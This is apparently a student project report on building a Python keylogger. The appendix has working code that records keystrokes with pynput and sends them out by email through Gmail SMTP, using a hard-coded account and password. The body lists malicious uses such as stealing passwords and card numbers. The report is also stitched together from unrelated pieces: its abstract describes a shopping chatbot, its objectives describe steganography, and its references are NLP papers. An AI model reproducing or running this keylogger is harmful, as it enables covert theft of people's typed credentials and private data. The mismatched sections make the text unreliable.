Keylogger Project Report
Keylogger Project Report
March 2021
DEPARTMENT OF COMPUTER SCIENCE AND ENGINEERING
BONAFIDE CERTIFICATE
This is to certify that the project report entitled, “KEYLOGGER” is a bonafide record of Mini Project work done
during the even semester of the academic year 2020-2021 by
in partial fulfillment of the requirements for the award of the degree of Bachelor of Technology in Computer
Science and Engineering of Karunya Institute of Technology and Sciences.
Acknowledgement i
Abstract ii
1. Introduction. 1
1.1 Introduction 1
1.2 Objectives 1
1.3 Problem Statement 1-2
1.4 Scope 2
1.5 Requirement Specifications 2-4
1.6 Modules 4
3. Implementation. 9
4. Testing 13
4.1 Introduction 13
4.2 Unit testing 14
4.3 Integration testing 14
4.4 System testing 15
References 17
Appendices 18-25
ACKNOWLEDGEMENT
First and foremost, I praise and thank ALMIGHTY GOD whose blessings have bestowed in me the will
I am grateful to our beloved founders Late. Dr. D.G.S. Dhinakaran, C.A.I.I.B, Ph.D and Dr. Paul
Dhinakaran, M.B.A, Ph.D, for their love and always remembering us in their prayers.
I extend my thanks to our Vice Chancellor Dr. P. Mannar Jawahar, Ph.D and our Registrar Dr. Elijah
I would like to thank Dr. Prince Arulraj, M.E., Ph.D., Dean, School of Engineering and Technology for
I would like to place my heart-felt thanks and gratitude to Dr. J. Immanuel John Raja, M.E., Ph.D.,
Head of the Department, Computer Science and Engineering for his encouragement and guidance.
I feel it is a pleasure to be indebted to, Mr. J. Andrew, M.E, (Ph.D.), Assistant Professor, Department
of Computer Science and Engineering and Dr. NARMADHA for their invaluable support, advice and
encouragement.
I also thank all the staff members of the Department for extending their helping hands to make this project
a successful one.
I would also like to thank all my friends and my parents who have prayed and helped me during the project
work.
i
ABSTRACT
The project is based on web apps and chatbots where people can buy products online. I have developed an online
shopping app with a customer support chatbot integrated in it. In the web app users can create accounts to place
orders and buy products. The chatbot acts as customer support. Users can chat with the bot to get information
about the new products, orders and track their orders. With the help of AI and chatbot the cost and effort to
manage an entire customer support team is neglected. Orders are differentiated by the help of authentication and
only authenticated users can buy products which makes the seller to avoid misunderstandings and fraud activities.
Users location information is taken by the web app, so that the orders can be delivered. Chatbot helps with
recommending new products and other related products to the users to increase the sales for the seller, which
drastically brings a change in the profit of the seller. The chatbot is beneficial for both the users and the seller in
a way where seller gets more selling and the users don’t have to wait for a human customer support team to
connect and process their feedbacks or questions thus. Chatbot will be available anytime for user to make queries
ii
CHAPTER 1
INTRODUCTION
1.1 Introduction
Key loggers also known as keystroke loggers, may be defined as the recording of the key pressed on a system
and saved it to a file, and the that file is accessed by the person using this malware. Key logger can be software
or can be hardware.
1. Software key-loggers :
Software key-loggers are the computer programs which are developed to steal password from the victims
computer. However key loggers are used in IT organizations to troubleshoot technical problems with computers
and business networks. Also Microsoft windows 10 also has key-logger installed in it.
2. Hardware Key-loggers :
These are not dependent on any software as these are hardware key-loggers. keyboard hardware is a circuit
which is attached in a keyboard itself that whenever the key of that keyboard pressed it gets recorded.
1.2 Objectives
This project comprehends the following objectives:
To produce security tool based on steganographic techniques.
To explore LSB techniques of hiding data using steganography.
1.3 Scope
To run this project on various platforms, we need some hardware and software to support this project.
Hardware Specification:
● Minimum 1GB RAM,
● Minimum 10 GB Hard Disk Space
Software Specification:
System that can run python
PYTHON
Python is an interpreted, high-level and general-purpose programming language. Python's design
philosophy emphasizes code readability with its notable use of significant indentation. Its language constructs
and object-oriented approach aim to help programmers write clear, logical code for small and large-scale projects
Python is dynamically-typed and garbage-collected. It supports multiple programming paradigms, including
structured (particularly, procedural), object-oriented and functional programming. Python is often described as a
"batteries included" language due to its comprehensive standard library
Python uses dynamic typing and a combination of reference counting and a cycle-detecting garbage collector
for memory management. It also features dynamic name resolution (late binding), which binds method and
variable names during program execution.
Python's design offers some support for functional programming in the Lisp tradition. It has filter, map, and
reduce functions; list comprehensions, dictionaries, sets, and generator expressions. The standard library has
two modules (itertools and functools) that implement functional tools borrowed from Haskell and Standard ML.
The language's core philosophy is summarized in the document The Zen of Python (PEP 20), which includes
aphorisms such as:
Rather than having all of its functionality built into its core, Python was designed to be highly extensible (with
modules). This compact modularity has made it particularly popular as a means of adding programmable
interfaces to existing applications. Van Rossum's vision of a small core language with a large standard library
and easily extensible interpreter stemmed from his frustrations with ABC, which espoused the opposite
approach.
Python strives for a simpler, less-cluttered syntax and grammar while giving developers a choice in their coding
methodology. In contrast to Perl's "there is more than one way to do it" motto, Python embraces a "there should
be one— and preferably only one —obvious way to do it" design philosophy. Alex Martelli, a Fellow at the
Python Software Foundation and Python book author, writes that "To describe something as 'clever' is not
considered a compliment in the Python culture."
Python's developers strive to avoid premature optimization, and reject patches to non-critical parts of the
CPython reference implementation that would offer marginal increases in speed at the cost of clarity. When
speed is important, a Python programmer can move time-critical functions to extension modules written in
languages such as C, or use PyPy, a just-in-time compiler. Cython is also available, which translates a Python
script into C and makes direct C-level API calls into the Python interpreter.
An important goal of Python's developers is keeping it fun to use. This is reflected in the language's name—a
tribute to the British comedy group Monty Python—and in occasionally playful approaches to tutorials and
reference materials, such as examples that refer to spam and eggs (from a famous Monty Python sketch) instead
of the standard foo and bar.[73][74]
A common neologism in the Python community is pythonic, which can have a wide range of meanings related
to program style. To say that code is pythonic is to say that it uses Python idioms well, that it is natural or
shows fluency in the language, that it conforms with Python's minimalist philosophy and emphasis on
readability. In contrast, code that is difficult to understand or reads like a rough transcription from another
programming language is called unpythonic.
1.6 Modules:
● Key listener
● Saving the keystrokes to file
● Mailing the keystrokes
CHAPTER 2
The only thing we can know for sure is that we will never know an exact date or an exact person to pinpoint the
invention of keyloggers on. They have existed and have been used for many years. Keyloggers first appeared on
the scene in the late 80’s and early 90’s. One of the earliest keyloggers was writing by a man named Perry
Kivolowitz. He posted his source code to net.unix-wizards, net.sources on November 17, 1983. The program
basically operated by locating character lists, or clists, as they were being built by the Unix kernel.
Keyloggers have a wide variety of uses and can be either hardware-based or software-based. The main
purpose is to log everything that is typed on a keyboard and store it in text files for later assessment. Everything
that is typed will be logged; this includes sensitive information such as passwords, names, pin numbers, and even
credit card numbers. While keyloggers have many acceptable uses they also have many malicious uses.
Acceptable uses:
Malicious uses:
Cracking passwords
Gaining unauthorized information
Stealing credit card numbers
Reading sent emails or messages not intended for public viewing
Retrieving secret names
Stealing account numbers
Most associations with keyloggers are much like those with hackers. Even though there are many
beneficial uses to keyloggers the only ones the public seems to associate with them are the malicious ones.
Software keyloggers fall into basically five main categories, hypervisor-based, API-based, Form grabbing based,
Memory injected based, and Kernel-based. Hypervisor- based loggers can be embedded in a malware hypervisor
running behind the operating system. The essentially become a virtual machine that is undetected by the computer
user. A good example of this is a program called Blue Pill. API-based loggers are simple programs that hook the
keyboard’s API allowing for windows to notify the program each time a key is pressed. Even though these are
the simplest to write they may be easily detected in the event there is a great amount of keystrokes to pull. The
increased amount of key pulling will also increase the CPU usage which can be seen by the computer user via
task manager or some other 3rd party software that displays CPU usage. A form grabbing based logger is confined
only to web based forms. These loggers record data that is input into forms and captured when the user clicks the
submit button. Because this is done on the host side of the machine it can bypass any security set up by a HTTPS
website such as Bank account web pages and those alike. Memory injection based loggers do just as the name
states; they inject directly into memory and alter memory tables to capture keystrokes in web forms and other
system functions. This method is commonly used when the user wants to bypass Windows UAC (User Access
Control). Finally, Kernel based loggers are the most difficult to program and implement but also allow for the
greatest amount of discrepancy. These loggers can act as a keyboard driver giving it the ability to capture any
and all information typed on the keyboard. They are typically implemented using rootkits that can bypass the
operating system kernel and give the user unauthorized access to the system hardware.
Using this program is fairly simple and intuitive. An user familiar with basic programming skills should
be able to understand all functionality provided by the program
Hardware Constraints
Software Constraints
This program is designed to run on all Python IDE without any problem.
CHAPTER 3
IMPLEMENTATION
● PYNPUT
● SMTPLIB
PYNPUT
pynput.mouse
Contains classes for controlling and monitoring a mouse or trackpad.
pynput.keyboard
Contains classes for controlling and monitoring the keyboard.
All modules mentioned above are automatically imported into the pynput package. To use any of
them, import them from the main package:
SYNTAX
from pynput import mouse, keyboard
A keyboard listener is a threading.Thread, and all callbacks will be invoked from the thread.
Call pynput.keyboard.Listener.stop from anywhere, raise StopException or return False from a callback
to stop the listener.
When using the non-blocking version above, the current thread will continue executing. This might be
necessary when integrating with other GUI frameworks that incorporate a main-loop, but when run from
a script, this will cause the program to terminate immediately.
The listener callbacks are invoked directly from an operating thread on some platforms, notably
Windows.
This means that long running procedures and blocking operations should not be invoked from the
callback, as this risks freezing input for all processes.
A possible workaround is to just dispatch incoming messages to a queue, and let a separate thread
handle them.
Handling keyboard listener errors
If a callback handler raises an exception, the listener will be stopped. Since callbacks run in a dedicated
thread, the exceptions will not automatically be reraised.
Once pynput.keyboard.Listener.stop has been called, the listener cannot be restarted, since listeners are
instances of threading.Thread.
If your application requires toggling listening events, you must either add an internal flag to ignore
events when not required, or create a new listener when resuming listening.
To simplify scripting, synchronous event listening is supported through the utility class
pynput.keyboard.Events. This class supports reading single events in a non-blocking fashion, as well as
iterating over all events.
Please note that the iterator method does not support non-blocking operation, so it will wait for at least
one keyboard event.
Global hotkeys
A common use case for keyboard monitors is reacting to global hotkeys. Since a listener does not
maintain any state, hotkeys involving multiple keys must store this state somewhere.
pynput provides the class pynput.keyboard.HotKey for this purpose. It contains two methods to update
the state, designed to be easily interoperable with a keyboard listener: pynput.keyboard.HotKey.press
and pynput.keyboard.HotKey.release which can be directly passed as listener callbacks.
This will create a hotkey, and then use a listener to update its state. Once all the specified keys are
pressed simultaneously, on_activate will be invoked.
Note that keys are passed through pynput.keyboard.Listener.canonical before being passed to the
HotKey instance. This is to remove any modifier state from the key events, and to normalise modifiers
with more than one physical button.
.
SMTPLIB
The smtplib module defines an SMTP client session object that can be used to send mail to any
Internet machine with an SMTP or ESMTP listener daemon. For details of SMTP and ESMTP
operation, consult RFC 821 (Simple Mail Transfer Protocol) and RFC 1869 (SMTP Service
Extensions).
An SMTP instance encapsulates an SMTP connection. It has methods that support a full repertoire of
SMTP and ESMTP operations. If the optional host and port parameters are given, the SMTP connect()
method is called with those parameters during initialization. If specified, local_hostname is used as the
FQDN of the local host in the HELO/EHLO command. Otherwise, the local hostname is found using
socket.getfqdn(). If the connect() call returns anything other than a success code, an SMTPConnectError
is raised. The optional timeout parameter specifies a timeout in seconds for blocking operations like the
connection attempt (if not specified, the global default timeout setting will be used). If the timeout
expires, socket.timeout is raised. The optional source_address parameter allows binding to some
specific source address in a machine with multiple network interfaces, and/or to some specific source
TCP port. It takes a 2-tuple (host, port), for the socket to bind to as its source address before connecting.
If omitted (or if host or port are '' and/or 0 respectively) the OS default behavior will be used.
For normal use, you should only require the initialization/connect, sendmail(), and SMTP.quit()
methods. An example is included below.
An SMTP_SSL instance behaves exactly the same as instances of SMTP. SMTP_SSL should be used
for situations where SSL is required from the beginning of the connection and using starttls() is not
appropriate. If host is not specified, the local host is used. If port is zero, the standard SMTP-over-SSL
port (465) is used. The optional arguments local_hostname, timeout and source_address have the same
meaning as they do in the SMTP class. context, also optional, can contain a SSLContext and allows
configuring various aspects of the secure connection. Please read Security considerations for best
practices.
keyfile and certfile are a legacy alternative to context, and can point to a PEM formatted private key and
certificate chain file for the SSL connection.
TESTING
4.1 Introduction
Software Testing is a method to check whether the actual software product matches expected requirements
and to ensure that software product is Defect free. It involves execution of software/system components
using manual or automated tools to evaluate one or more properties of interest. The purpose of software
testing is to identify errors, gaps or missing requirements in contrast to actual requirements.
Software Testing is Important because if there are any bugs or errors in the software, it can be identified
early and can be solved before delivery of the software product. Properly tested software product ensures
reliability, security and high performance which further results in time saving, cost effectiveness and
customer satisfaction.
● Cost-Effective:
o It is one of the important advantages of software testing. Testing any IT project on time helps
you to save your money for the long term. In case if the bugs caught in the earlier stage of
software testing, it costs less to fix.
● Security:
o It is the most vulnerable and sensitive benefit of software testing. People are looking for trusted
products. It helps in removing risks and problems earlier.
● Product quality:
o It is an essential requirement of any software product. Testing ensures a quality product is
delivered to customers.
● Customer Satisfaction:
o The main aim of any product is to give satisfaction to their customers. UI/UX Testing ensures
the best user experience.
Unit Testing:
This software testing approach is followed by the programmer to test the unit of the program. It
helps developers to know whether the individual unit of the code is working properly or not .
Integration testing:
It focuses on the construction and design of the software. You need to see that the integrated units
are working without errors or not.
System testing:
In this method, your software is compiled as a whole and then tested as a whole. This testing
strategy checks the functionality, security, portability, amongst others.
4.2 Unit testing
UNIT TESTING is a type of software testing where individual units or components of a software are
tested. The purpose is to validate that each unit of the software code performs as expected. Unit Testing
is done during the development (coding phase) of an application by the developers. Unit Tests isolate a
section of code and verify its correctness. A unit may be an individual function, method, procedure,
module, or object.
In SDLC, STLC, V Model, Unit testing is first level of testing done before integration testing. Unit testing
is a White Box testing technique that is usually performed by the developer .
● Statement Coverage
● Decision Coverage
● Branch Coverage
● Condition Coverage
● Finite State Machine Coverage
● integration testing: Testing performed to expose defects in the interfaces and in the
interactions between integrated components or systems. See also component integration
testing, system integration testing.
● component integration testing: Testing performed to expose defects in the interfaces and
interaction between integrated components.
● system integration testing: Testing the integration of systems and packages; testing
interfaces to external organizations (e.g. Electronic Data Interchange, Internet).
4.4 System testing
SYSTEM TESTING is a level of testing that validates the complete and fully integrated software
product. The purpose of a system test is to evaluate the end-to-end system specifications. Usually, the
software is only one element of a larger computer-based system. Ultimately, the software is interfaced
with other software/hardware systems. System Testing is actually a series of different tests whose sole
purpose is to exercise the full computer-based system.
There are more than 50 types of System Testing. Below we have listed types of system testing a large
software development company would typically use:
1. Usability Testing- mainly focuses on the user's ease to use the application, flexibility in handling controls
and ability of the system to meet its objectives
2. Load Testing- is necessary to know that a software solution will perform under real-life loads.
3. Regression Testing- involves testing done to make sure none of the changes made over the course of the
development process have caused new bugs. It also makes sure no old bugs appear from the addition of
new software modules over time.
4. Recovery testing - is done to demonstrate a software solution is reliable, trustworthy and can successfully
recoup from possible crashes.
5. Migration testing- is done to ensure that the software can be moved from older system infrastructures to
current system infrastructures without any issues.
6. Functional Testing - Also known as functional completeness testing, Functional Testing involves trying
to think of any possible missing functions. Testers might make a list of additional functionalities that a
product could have to improve it during functional testing.
and disadvantages. Keyloggers prose one of the largest threats to computer and network systems. Most
everything that users protect on computers is protected by usernames and passwords. Keyloggers basically bypass
these setup safety protocols making their data completely vulnerable. In order to prevent keyloggers from
recording sensitive data such as passwords, usernames, bank account number, and others alike it is pertinent that
administrators follows the steps of prevention described above. Software programmers could also use this
information to write future programs that look for keylogging and work in ways to prevent information like this
from being kept alive any longer than needed. Keylogging is a serious threat and the only one who can insure
that it doesn’t happen to them is the end user. It is their reasonability to watch for keylogging signs and remove
Dzmitry Bahdanau, Kyunghyun Cho, and Yoshua Bengio. 2014. Neural machine translation by jointly
learning to align and translate. CoRR abs/1409.0473. http://arxiv.org/abs/1409.0473.
Lushan Han, Abhay L. Kashyap, Tim Finin, James Mayfield, and Jonathan Weese. 2013. Umbc ebiquity-
core: Semantic textual similarity systems. In Second Joint Conference on Lexical and Computational
Semantics (*SEM), Volume 1: Proceedings of the Main Conference and the Shared Task: Semantic
Textual Similarity. Association for Computational Linguistics, Atlanta, Georgia, USA, pages 44–52.
http://www.aclweb.org/anthology/S13-1005.
Po-Sen Huang, Xiaodong He, Jianfeng Gao, Li Deng, Alex Acero, and Larry Heck. 2013. Learning deep
structured semantic models for web search using clickthrough data. In Proceedings of the 22Nd ACM
International Conference on Information & Knowledge Management. ACM, New York, NY, USA, CIKM
’13, pages 2333–2338. https://doi.org/10.1145/2505515.2505665.
Anjuli Kannan, Karol Kurach, Sujith Ravi, Tobias Kaufman, Balint Miklos, Greg Corrado, Andrew
Tomkins, Laszlo Lukacs, Marina Ganea, Peter Young, and Vivek Ramavajjala. 2016. Smart reply:
Automated response suggestion for email. In Proceedings of the ACM SIGKDD Conference on
Knowledge Discovery and Data Mining (KDD) (2016).. http://www.kdd.org/kdd2016/papers/files/Paper
1069.pdf.
Matt J. Kusner, Yu Sun, Nicholas I. Kolkin, and Kilian Q. Weinberger. 2015. From word embeddings to
document distances. In Proceedings of the 32Nd International Conference on International Conference on
Machine Learning - Volume 37. JMLR.org, ICML’15, pages 957–966.
http://dl.acm.org/citation.cfm?id=3045118.3045221.
Nicolai Meinshausen. 2006. Quantile regression forests. J. Mach. Learn. Res. 7:983–999.
http://dl.acm.org/citation.cfm?id=1248547.1248582.
Jeffrey Pennington, Richard Socher, and Christopher D. Manning. 2014. Glove: Global vectors for word
representation. In Empirical Methods in Natural Language Processing (EMNLP). pages 1532– 1543.
http://www.aclweb.org/anthology/D14-1162.
Guang Qiu, Bing Liu, Jiajun Bu, and Chun Chen. 2011. Opinion word expansion and target extraction
through double propagation. Comput. Linguist. 37(1):9–27. https://doi.org/10.1162/coli a 00034.
Md Sultan, Steven Bethard, and Tamara Sumner. 2014. Back to basics for monolingual alignment:
Exploiting word similarity and contextual evidence. Transactions of the Association for Computational
Linguistics 2:219–230. https://transacl.org/ojs/index.php/tacl/article/view/292.
Lei Yu, Karl Moritz Hermann, Phil Blunsom, and Stephen Pulman. 2014. Deep learning for answer
sentence selection. Proceedings of the Deep Learning and Representation Learning Workshop: NIPS
Appendices
Sample Code
import pynput
from pynput.keyboard import Key, Listener
import send_email
count = 0
keys = []
def on_press(key):
print(key, end= " ")
global keys, count
keys.append(str(key))
count += 1
if count > 10:
count = 0
email(keys)
def email(keys):
message = ""
for key in keys:
k = key.replace("'","")
if key == "Key.space":
k=""
elif key.find("Key")>0:
k = ""
message += k
print(message)
send_email.sendEmail(message)
def on_release(key):
if key == Key.esc:
return False
def sendEmail(message):
smtp_server = "smtp.gmail.com"
port = 587
sender_email = "yondugog007@gmail.com"
password = "cybersecurity"
receiver_email = "yondugog007@gmail.com"
context = ssl.create_default_context()
try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
server.starttls(context=context)
server.ehlo()
server.login(sender_email, password)
server.sendmail(sender_email, receiver_email, message)
except Exception as e:
print(e)
finally:
server.quit()
OUTPUT SCREENSHOT